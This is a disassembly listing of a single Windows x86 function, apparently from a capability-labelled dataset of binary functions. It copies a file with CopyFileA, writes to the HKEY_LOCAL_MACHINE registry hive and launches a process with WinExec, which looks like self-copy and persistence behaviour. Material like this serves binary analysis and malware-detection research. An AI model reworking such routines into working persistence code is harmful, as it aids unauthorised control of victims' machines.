Function at 0x49c10c
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2a
push 0
push 0
dec ecx
jne 0x49c114
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x49c5c1
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
mov edx, dword [0x4a3988]
mov edx, dword [edx]
call fcn.00404f38
mov eax, dword [ebp - 0xc]
lea edx, [ebp - 8]
call fcn.00460a28
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x10]
mov edx, dword [0x4a3704]
mov edx, dword [edx]
call fcn.00404f38
mov ecx, dword [ebp - 0x10]
mov eax, dword [0x4a3ad4]
pop edx
call fcn.0040504c
xor eax, eax
push ebp
push 0x49c58c
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.00402f64
mov eax, dword [ebp - 0x14]
mov edx, dword [0x4a3ad4]
mov edx, dword [edx]
call fcn.00409520
test eax, eax
je 0x49c582
xor eax, eax
push ebp
push 0x49c244
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4a3ad4]
mov eax, dword [eax]
call fcn.00409d24
test al, al
je 0x49c213
mov eax, dword [0x4a3ad4]
mov eax, dword [eax]
xor edx, edx
call fcn.00409e40
mov eax, dword [0x4a3ad4]
mov eax, dword [eax]
call fcn.00405200
mov edx, eax
lea eax, [ebp - 0x18]
call fcn.00404f38
mov eax, dword [ebp - 0x18]
call fcn.00409e68
mov eax, dword [0x4a3ad4]
mov eax, dword [eax]
call fcn.00409d24
test al, al
je 0x49c213
xor eax, eax
call fcn.00404c84
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49c596
push 0
mov eax, dword [0x4a3ad4]
mov eax, dword [eax]
call fcn.00405200
push eax
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.00402f64
mov eax, dword [ebp - 0x1c]
call fcn.00405200
push eax
call sub.kernel32.dll_CopyFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49c24e
lea eax, [ebp - 0x11c]
mov edx, dword [0x4a3a68]
mov edx, dword [edx]
call fcn.004039f0
lea eax, [ebp - 0x11c]
mov edx, 0x49c5d0
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004035f4
jne 0x49c413
lea eax, [ebp - 0x120]
call fcn.0046457c
mov eax, dword [ebp - 0x120]
mov edx, 0x49c5dc
call fcn.0040514c
je 0x49c2d3
lea eax, [ebp - 0x124]
call fcn.0046457c
mov eax, dword [ebp - 0x124]
mov edx, 0x49c5ec
call fcn.0040514c
je 0x49c2d3
lea eax, [ebp - 0x128]
call fcn.0046457c
mov eax, dword [ebp - 0x128]
mov edx, 0x49c5fc
call fcn.0040514c
jne 0x49c334
xor eax, eax
push ebp
push 0x49c325
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4a3ad4]
mov eax, dword [eax]
call fcn.00405200
push eax
lea eax, [ebp - 0x12c]
call fcn.004600d0
mov eax, dword [ebp - 0x12c]
call fcn.00405200
mov edx, eax
mov ecx, dword [0x4a3704]
mov ecx, dword [ecx]
mov eax, 0x80000002
call fcn.00462298
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49c413
xor eax, eax
push ebp
push 0x49c36a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x130]
mov edx, dword [0x4a356c]
mov edx, dword [edx]
call fcn.00404f38
mov eax, dword [ebp - 0x130]
call fcn.0045fb04
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49c374
push 0x3e8
call sub.kernel32.dll_Sleep_1
xor eax, eax
push ebp
push 0x49c409
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x134]
mov edx, dword [0x4a3a1c]
mov edx, dword [edx]
call fcn.00404f38
mov eax, dword [ebp - 0x134]
push eax
mov edx, dword [0x4a3ad4]
mov edx, dword [edx]
lea eax, [ebp - 0x138]
mov ecx, 0x49c60c
call fcn.0040504c
mov eax, dword [ebp - 0x138]
push eax
lea eax, [ebp - 0x13c]
mov edx, dword [0x4a38c8]
mov edx, dword [edx]
call fcn.00404f38
mov eax, dword [ebp - 0x13c]
push eax
lea eax, [ebp - 0x140]
mov edx, dword [0x4a356c]
mov edx, dword [edx]
call fcn.00404f38
mov eax, dword [ebp - 0x140]
pop edx
pop ecx
call fcn.0045f994
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49c413
lea eax, [ebp - 0x11c]
mov edx, dword [0x4a3a68]
mov edx, dword [edx]
call fcn.004039f0
lea eax, [ebp - 0x11c]
mov edx, 0x49c610
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004035f4
jne 0x49c496
xor eax, eax
push ebp
push 0x49c48c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4a3ad4]
mov eax, dword [eax]
call fcn.00405200
push eax
lea eax, [ebp - 0x144]
call fcn.004600d0
mov eax, dword [ebp - 0x144]
call fcn.00405200
mov edx, eax
mov ecx, dword [0x4a3704]
mov ecx, dword [ecx]
mov eax, 0x80000002
call fcn.00462298
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49c496
lea edx, [ebp - 0x148]
mov eax, 1
call fcn.00402f64
cmp dword [ebp - 0x148], 0
jne 0x49c506
call fcn.00464534
cmp eax, 2
jne 0x49c4db
lea eax, [ebp - 0x14c]
mov edx, dword [0x4a356c]
mov edx, dword [edx]
call fcn.00404f38
mov edx, dword [ebp - 0x14c]
xor eax, eax
call fcn.0045f7c8
jmp 0x49c506
push 1
mov edx, dword [0x4a3ad4]
mov edx, dword [edx]
lea eax, [ebp - 0x150]
mov ecx, 0x49c60c
call fcn.0040504c
mov eax, dword [ebp - 0x150]
call fcn.00405200
push eax
call sub.kernel32.dll_WinExec
lea eax, [ebp - 0x11c]
mov edx, dword [0x4a36fc]
mov edx, dword [edx]
call fcn.004039f0
lea eax, [ebp - 0x11c]
mov edx, 0x49c610
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004035f4
jne 0x49c573
lea edx, [ebp - 0x154]
mov eax, 1
call fcn.00402f64
cmp dword [ebp - 0x154], 0
jne 0x49c573
xor eax, eax
push ebp
push 0x49c569
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0049ba3c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49c573
call fcn.00404ba4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49c596
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49c596
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49c5c8
lea eax, [ebp - 0x154]
mov edx, 0xe
call fcn.00404d64
lea eax, [ebp - 0x1c]
mov edx, 6
call fcn.00404d64
ret